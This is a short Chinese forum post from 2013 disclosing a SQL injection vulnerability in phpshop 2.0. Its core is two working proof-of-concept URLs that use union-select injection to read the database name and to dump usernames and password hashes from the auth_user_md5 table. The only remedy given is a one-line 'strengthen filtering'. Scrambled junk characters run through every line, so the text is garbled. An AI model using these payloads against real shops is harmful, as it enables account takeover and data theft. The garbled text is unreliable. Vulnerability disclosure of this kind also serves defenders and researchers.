标题 : phpshop 2.0 SQL Injection Vulnerability
) X1 m3 m# [& N* D
$ s" b$ P) \- [ C. r作者 : By onestree' R" ~$ n* x$ R/ i) e H) t e
下载地址 : http://code.google.com/p/phpshop/downloads/list
c: Z0 N& o; N9 l' w; R6 @6 J c测试地址: windows 7 / ubuntu
+ M4 @$ l8 F) d& e, ?1 T # G2 l7 c/ C$ g% b6 f; ~
+ i6 L9 ~* Q# R. \! F: q0 Q9 i
SQLi p0c:
! o8 ~' p [# {7 D1 V( }, r
6 s! z, U) E/ V* S6 D5 x# `( f==================, j9 |- g7 I& l# E! U- O. s
# P! l- l9 S Y* B; [9 ehttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
+ r; R" J" M3 u3 n. yunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --: N- T3 N5 p6 q, o" z
: r! h* @5 k2 u, F) Ohttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--2 u% p- Y: \. J9 }- F" p" J
) Z" z& ?+ j# [
修复：+ \5 w7 V o. P. V, ^/ y/ y: ^
加强过滤- Q$ ~1 s, x$ `8 K+ O5 Z# I& }
- x6 P. [, q# b; N. l& s2 @
% }0 w$ h" }8 k8 p1 J/ d! f3 _ |
发表于 2013-1-18 18:24:10
收藏
支持
反对